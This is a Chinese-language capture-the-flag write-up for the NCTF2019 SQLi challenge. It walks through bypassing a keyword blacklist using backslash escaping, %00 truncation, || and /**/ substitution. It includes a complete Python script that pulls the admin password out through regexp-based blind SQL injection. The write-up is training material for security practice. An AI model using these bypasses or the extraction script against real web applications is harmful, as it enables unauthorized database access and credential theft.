# \[NCTF2019]SQLi

## \[NCTF2019]SQLi

## 考点

* PHP版本小于5.3存在%00截断
* regexp进行盲注

## wp

直接给了提示

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2Fe7PY78DEArcrcGvAJzxE%2Fimage_sfYfyc8b6nSC7hNBpnQ9we.png?alt=media\&token=eb236cda-bf9b-4688-93c0-3b4025b200f4)

用户名输入`admin' or 1=1 #`会提示`hacker`

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FD1vfGpREnu0FiHruczwJ%2Fimage_aTeFgtrh9rxPGfq913aP7U.png?alt=media\&token=e0b62966-dab4-4ed3-98c0-fb5ddcce3889)

发现只要存在`'`就会弹出hacker，再看一下给的语句，如果过滤了`'`，那可以用的方式就剩下转义，但是转义之后无法把最后面的单引号取掉

```python
select * from users where username='' and passwd=''
```

一时没有头绪。试了一下/robots.txt，提示访问/hint.txt

```python
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";

If $_POST['passwd'] === admin's password,

Then you will get the flag;
```

基本上全过滤了，还剩下`\`,`regexp`,`/**/`和`&^|`

在返回包中可以看到PHP版本为5.2，在版本小于5.3是可以进行字符串截断的，再用`;`就可以进行语句闭合

```python
select * from users where username='\' and passwd=';%00'
```

前半句查询username肯定是空，接着就要看怎么构造payload了。虽然过滤了or，但是可以用`||`替代

```python
select * from users where username='\' and passwd='||1;%00'
```

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FjhxsX9AuyVU87yDgwPNH%2Fimage_iiKK5H3SSVyENVqTy4uuMq.png?alt=media\&token=85188d0a-7bc3-4cd0-b0f6-6da8d6df0b65)

最后payload应该是这样子

```python
username=\&passwd=||(select/**/passwd/**/regexp/**/"^a");%00
```

但是过滤了select，最终payload

```python
username=\&passwd=||(passwd/**/regexp/**/"^y");%00
```

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2F53Z3uE2TKZhFIhKEWeV8%2Fimage_uR9gVsK8RJHuT4HcsLxDcp.png?alt=media\&token=425ab8d7-568b-4356-8494-bd1815d0041c)

exp

```python
import requests
from urllib.parse import unquote
import string

url = 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/' 


cookies = {
    'UM_distinctid': '17e150f6a59ecb-028dcf28d64a708-4c3e2679-384000-17e150f6a5a90d',
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81',
    'Connection': 'keep-alive',
    'Referer': 'http://011634d2-f820-4831-b422-832c2e0bf99f.node4.buuoj.cn:81/',
    'Upgrade-Insecure-Requests': '1',
}
table = string.ascii_letters + string.digits + '_{}'
flag = ''
for j in range(50):
    for i in table:
        data = {
            'username': '\\',
            'passwd': f'||(passwd/**/regexp/**/"^{flag+i}");'+unquote('%00')
        }
        response = requests.post(url, headers=headers, cookies=cookies, data=data)
        
        if '404 Not Found' in response.text:
            flag = flag + i
            break
        else:
            continue
    print(flag)
```

结果是`yoU_Will_neVer_knoW7788990`，再全转成小写`you_will_never_know7788990`

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FLX5bZO6mXrRbANXw7gx9%2Fimage_d85KV9HrnSr64Yoe4nRkS9.png?alt=media\&token=313d3b2d-445c-460e-b373-ab5bf0003c60)

flag条件是输入的password和数据库中的相同，在提示中写了

```python
$_POST['passwd'] === admin's password
```

![](https://982381760-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FKaFsBybpMwWG2gp4TiAi%2Fuploads%2FE5vFTOyKWjwGuZ9gbtSK%2Fimage_b8uTnXzfo6qzZYwzx6saov.png?alt=media\&token=3deda62c-9048-4289-b9ad-13c67d4b66e9)

## 小结

1. 反斜杠结合PHP的%00截断bypass对`'`的过滤
2. `||`绕过or
3. `/**/`绕过空格
4. regex进行盲注
